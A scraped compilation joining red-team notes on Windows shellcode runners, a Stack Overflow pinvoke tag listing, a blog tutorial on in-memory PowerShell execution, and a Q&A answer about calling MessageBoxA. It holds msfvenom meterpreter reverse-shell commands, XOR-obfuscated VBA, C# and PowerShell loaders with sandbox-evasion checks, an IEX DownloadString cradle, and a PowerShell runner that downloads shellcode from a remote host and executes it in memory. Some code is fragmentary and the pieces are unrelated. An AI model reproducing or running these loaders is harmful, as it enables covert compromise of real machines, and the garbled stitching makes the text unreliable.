An explanation how to map C types to appropriate VBA types manually.
With this approach the shell lives until Word is not closed (no WaitForSingleObject
):
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function FlsAlloc Lib "kernel32" (ByVal lpCallback As LongPtr) As Long
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
' Check if we're in a sandbox by calling a rare-emulated API
If IsNull(FlsAlloc(tmp)) Then
' Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
dream = Int((1500 * Rnd) + 2000)
before = Now()
If DateDiff("s", t, Now()) < dream Then
' msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication --encrypt xor --encrypt-key a
' XOR-decrypt the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("a")
' &H40 = 0x40 = PAGE_EXECUTE_READWRITE
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
res = CreateThread(0, 0, addr, 0, 0, 0)
Using Add-Type and C#
C data types to C# data types “translation” can be done with P/Invoke APIs (Platform Invocation Services) at www.pinvoke.net (e. g., VirtualAlloc).
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f ps1
Reflectively using DelegateType (in Memory)
What’s going on here:
lookupFunc
👉🏻 to obtain a reference to theSystem.dll
assembly’sGetModuleHandle
andGetProcAddress
methods usingGetType
andGetMethod
functions (aka the Reflection technique).VirtualAlloc
👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in virtual address space of the calling process.Copy
👉🏻 to copy the shellcode bytes into allocated memory location.CreateThread
👉🏻 to create a new execution thread in the calling process and execute the shellcode.WaitForSingleObject
👉🏻 to delay termination of the PowerShell script until the shell fully executes.
# Building a DelegateType (doing it manually to avoid usage of Add-Type)
## create a custom assembly and define the module and type inside
## set up the constructor
## sets up the invoke method
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argsTypes).SetImplementationFlags('Runtime, Managed')
## invoke the constructor and return the delegation type
# $VirtualAllocAddr = lookupFunc kernel32.dll VirtualAlloc
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f ps1
In order to run x64 shellcode from a 32-bit application (e. g., MS Word), you may want to specify the path to 64-bit PowerShell binary through Sysnative alias.
C# DLL to Jscript
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f csharp
Compile to Jscript with DotNetToJScript.exe:
Cmd > .\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f raw -o met.bin
$ python SharpShooter.py --dotnetver 4 --stageless --rawscfile met.bin --payload js --output evil
This tool can efficiently be used with HTML Smuggling technique.
C# DLL with PowerShell Cradle (in Memory)
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
// Check if we're in a sandbox by calling a rare-emulated API
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
"Charles, get the rifle out. We're being fucked."
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
// XOR-decrypt the shellcode
Compile to DLL and load with PowerShell from memory:
Shellcode XOR-encrypt helper for VBA:
# msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f vbapplication
PowerShell XOR-encrypt helper for VBA with WMI de-chain:
"powershell -exec bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')"
"powershell -exec bypass -nop -c IEX
Shellcode XOR-encrypt helper for C# (msfvenom-like output style):
// msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp
// XOR-encrypt the shellcode
//foreach (byte b in buf)
// no "," for the last line
Questions tagged [pinvoke]
P/Invoke is an implementation specification created by Microsoft of the Common Language Infrastructure (CLI) for invocation of native code libraries from managed code.
Low level mouse hook handles mouse scroll in Windows, but not Fallout 4 [duplicate]
How do I marshal a C# struct with delegate fields?
Interop Delphi dll / C# – bad memory allocation or marshaling
Why would I need `DangerousAddRef`/`DangerousRelease` around `DangerousGetHandle`?
PInvoke memory management: strings inside structs passed by reference
Move top menu from a hosted program to the main wpf app
Force release of a file/device locked to current process
DllImport not executing functions in library but no error codes [closed]
Distribute DLLs in Nuget
How to marshal a struct with a nested array of structs when using P/Invoke C#
CsWin32 how to create an instance of PWSTR for e.g. GetWindowText
.NET app call unmanged DLL, parameters contains strange characters
Working with errno in a cross-platform way in .NET
Direct2D Clear/DrawBitmap Throwing Exception
How to send a WM_IME_REQUEST message from C#
Since it’s release in 2006, PowerShell has become a popular language to develop offensive security tools.
PowerShell functionality is implemented by the System.Management.Automation.dll, which the powershell.exe executable acts as an interface.
Much of the utility of PowerShell is in it’s ability to execute .NET code within a PowerShell session. In turn, this .NET code can execute native Win32 functions by using System.Runtime.InteropServices.
Executing Code with Add-Type
For instance, the below example executes the Win32 WinExec function by importing .NET code with the Add-Type keyword. The .NET code in turn uses System.Runtime.InteropServices to interact with the Win32 API.
$win32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32.dll")] public static extern uint WinExec(string lpCmdLine, uint uCmdShow); } "@ Add-Type $win32 [Kernel32]::WinExec("C:\Windows\System32\calc.exe",[uint32]0)

.NET Application Domains
In .NET we can dynamically lookup pointers to functions, in a similar manner to how we did in a previous article using GetProcAddress. To do this, we can iterate through the available .NET assemblies filtering on methods that are both static, and “Unsafe”.
.NET Application Domains provide an isolated region in which code runs inside of a process. The AppDomain.GetAssemblies method can be used to determine the loaded assemblies in an application domain.
PS C:\Users\user\Desktop> [AppDomain]::CurrentDomain.GetAssemblies() GAC Version Location --- ------- -------- True v4.0.30319 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll True v4.0.30319 C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll ...
Exploring .NET Objects
Using the PowerShellCook Show-Object cmdlet we can graphically explore the objects to find one that satisfy our criteria, of being static and marked as “Unsafe”. The Show-Object cmdlet can be installed with;
Install-Module -Name PowerShellCookbook -Force
The GetTypes() method can be used to get an array of classes defined in a module. This can be piped into Show-Object.
[AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()} | Show-Object

Retrieving Module Base Addresses
Function Get-FunctionAddress { # Get the base address of a module using GetModuleHandle and the function address using GetProcAddress. param( [string]$ModuleName, [string]$MethodName ) Write-Host "Looking up $ModuleName $MethodName" # Get a handle to System.dll $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll' # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods') # Use GetModuleHandle to get the address of a dll $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName)) Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))" # Use GetProcAddress to find the first instance of our function $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1 $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName")) return $FunctionAddress } $FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec" Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))"
Running this, we can see that it’s successfully resolving the address of WinExec.
Looking up kernel32.dll WinExec Kernel32.dll base address: 0x7FFD58ED0000 Function address: 0x7FFD58F36200
We can verify the module base address using Sysinternal Process Explorer:

Delegates
At this point, we can retrieve the pointers for arbitrary functions. To call these functions, we need to use a delegate.
A delegate is an object that represents a method. It can be used invoke code where the details to invoke it arn’t known until runtime. Below is an example of using a delegate to invoke a MessageBox from PowerShell.
# Add the necessary .NET assembly for Windows Forms Add-Type -AssemblyName System.Windows.Forms # Define a script block for the delegate $showMessageBoxDelegate = { param($message, $title, $buttons, $icon) [System.Windows.Forms.MessageBox]::Show($message, $title, $buttons, $icon) } # Create a delegate from the script block $delegate = [System.Management.Automation.ScriptBlock]::Create($showMessageBoxDelegate) # Use the delegate to show a MessageBox $message = "Hello, from Bordergate!" $title = "MessageBox" $buttons = [System.Windows.Forms.MessageBoxButtons]::OK $icon = [System.Windows.Forms.MessageBoxIcon]::Information $delegate.Invoke($message, $title, $buttons, $icon)
GetDelegateForFunctionPointer
We can pass the function pointers to GetDelegateForFunctionPointer to execute unmanaged code from PowerShell. This requires knowing the methods signature. A method signature is just the arguments to be supplied and the argument data types. For the WinExec function, we can find these details on the PInvoke website:
[DllImport("kernel32.dll")] static extern uint WinExec(string lpCmdLine, uint uCmdShow);
A delegate can be used to define a method signature with the details from the PInvoke description.
The below code dynamically resolves the WinExec addresses and defines and instantiates a delegate associated with the function, ultimately executing our WinExec call.
Remove-Variable * -ErrorAction SilentlyContinue Function Get-FunctionAddress { param( [string]$ModuleName, [string]$MethodName ) Write-Host "Looking up $ModuleName $MethodName" # Get a handle to System.dll $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll' # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods') # Use GetModuleHandle to get the address of a dll $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName)) Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))" # Use GetProcAddress to find the first instance of our function $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1 $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName")) Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))" return $FunctionAddress } Function Execute-Function{ param( [IntPtr]$FunctionAddress ) # Create a new delegate type called BordergateDelegate $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate') # Set access mode to run to ensure it's executable $Domain = [AppDomain]::CurrentDomain $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run) # Ensure the C# isn't saved to disk $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) # WinExec only takes a string as a function parmeter $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([String])) $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[int], @([string])) $MyMethodBuilder.SetImplementationFlags('Runtime, Managed') $MyDelegateType = $MyTypeBuilder.CreateType() $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType) $TargetFunction.Invoke("C:\Windows\System32\calc.exe") } $FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "WinExec" Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))" Execute-Function -FunctionAddress $FunctionAddress
Executing Shellcode
Whilst the above example does demonstrate invoking code in memory, it’s not particularly useful. For a more complex example, let’s look at a shellcode runner. The below code shows a basic shellcode runner using Add-Type (which will touch disk).
$Kernel32 = @" using System; using System.Runtime.InteropServices; public class Kernel32 { [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32", CharSet=CharSet.Ansi)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll", SetLastError=true)] public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); } "@ Add-Type $Kernel32 #msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw -o shellcode.raw $response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET [byte[]] $buf = $response.Content -as [byte[]] read-host “Press ENTER to continue...” # Get the size of the shellcode $size = $buf.Length # Allocate memory for the shellcode [IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); # Copy the shellcode to the allocated memory [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size) # Create a thread to execute the shellcode $thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0); # Wait for the thread to finish [Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
In Memory Shellcode Execution
We can convert the above code using the functions we previously created to execute the code in memory;
Remove-Variable * -ErrorAction SilentlyContinue Function Get-FunctionAddress { param( [string]$ModuleName, [string]$MethodName ) Write-Host "Looking up $ModuleName $MethodName" # Get a handle to System.dll $system = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object Location -like '*System.dll' # Get access to the type object representing the Microsoft.Win32.UnsafeNativeMethods type $unsafe = $system.GetType('Microsoft.Win32.UnsafeNativeMethods') # Use GetModuleHandle to get the address of a dll $GetModuleHandle = $unsafe.GetMethod('GetModuleHandle').Invoke($null, @($ModuleName)) Write-Host "Kernel32.dll base address: 0x$($GetModuleHandle.ToString("X"))" # Use GetProcAddress to find the first instance of our function $GetProcAddress = $unsafe.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' } | Select-Object -First 1 $FunctionAddress = $GetProcAddress.Invoke($null, @($GetModuleHandle, "$MethodName")) #Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))" return $FunctionAddress } Function Execute-Function{ param( [IntPtr]$FunctionAddress, $Signature = [void], $Arguments = [void] ) # Create a new delegate type called MyAssembly $MyAssembly = New-Object System.Reflection.AssemblyName('BordergateDelegate') # Set access mode to run to ensure it's executable $Domain = [AppDomain]::CurrentDomain $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly,[System.Reflection.Emit.AssemblyBuilderAccess]::Run) # Ensure the C# isn't saved to disk $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) # WinExec only takes a string as a function parmeter $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Signature) $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') # IntPtr = return type. $Signature = method signature $MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',[IntPtr], $Signature) $MyMethodBuilder.SetImplementationFlags('Runtime, Managed') $MyDelegateType = $MyTypeBuilder.CreateType() $TargetFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FunctionAddress, $MyDelegateType) return $TargetFunction } #msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.127 LPORT=4444 EXITFUNC=thread -f raw -o shellcode.raw $response = Invoke-WebRequest -URI http://192.168.1.127/shellcode.raw -Method GET [byte[]] $buf = $response.Content -as [byte[]] $FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "VirtualAlloc" Write-Host "Function address: 0x$($FunctionAddress.ToString("X"))" $VirtualAlloc = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) # -Parameters ([IntPtr]::Zero, 0x1000, 0x3000, 0x40) $TargetBuffer = $VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) Write-Host "Buffer address: 0x$($TargetBuffer.ToString("X"))" [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $TargetBuffer, $buf.length) $FunctionAddress = Get-FunctionAddress -ModuleName "kernel32.dll" -MethodName "CreateThread" $CreateThread = Execute-Function -FunctionAddress $FunctionAddress -Signature ([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr]) $CreateThread.Invoke([IntPtr]::Zero,0,$TargetBuffer,[IntPtr]::Zero,0,[IntPtr]::Zero)
In Conclusion
Hard to tell without having complete information but using MessageBoxA
as example you can always use .Invoke
from PSMethod
to bind the array of arguments:
Add-Type '
using System;
using System.Runtime.InteropServices;
public class Testing
{
[DllImport("user32.dll")]
public static extern int MessageBoxA(
IntPtr hWnd,
string lpText,
string lpCaption,
uint uType);
}'
function CallWin32API {
param(
[array] $Arguments
)
[Testing]::MessageBoxA.Invoke($Arguments)
}
CallWin32API @([IntPtr]::Zero, 'Hello World', 'This is My MessageBox', 0)
using namespace System.Runtime.InteropServices
using namespace System.Linq.Expressions
using namespace System.Reflection
$lib = [NativeLibrary]::Load('user32')
$functionPtr = [NativeLibrary]::GetExport($lib, 'MessageBoxA')
$customDelegate = [Delegate]::CreateDelegate(
[Func[Type[], Type]],
[Expression].Assembly.GetType('System.Linq.Expressions.Compiler.DelegateHelpers').
GetMethod('MakeNewCustomDelegate', [BindingFlags] 'NonPublic, Static'))
$customDelegateType = [IntPtr], [string], [string], [uint], [int]
$delegate = [Marshal]::GetDelegateForFunctionPointer(
$functionPtr,
$customDelegate.Invoke($customDelegateType))
$arguments = [IntPtr]::Zero, 'Hello World', 'This is My MessageBox', 0
$delegate.Invoke.Invoke($arguments)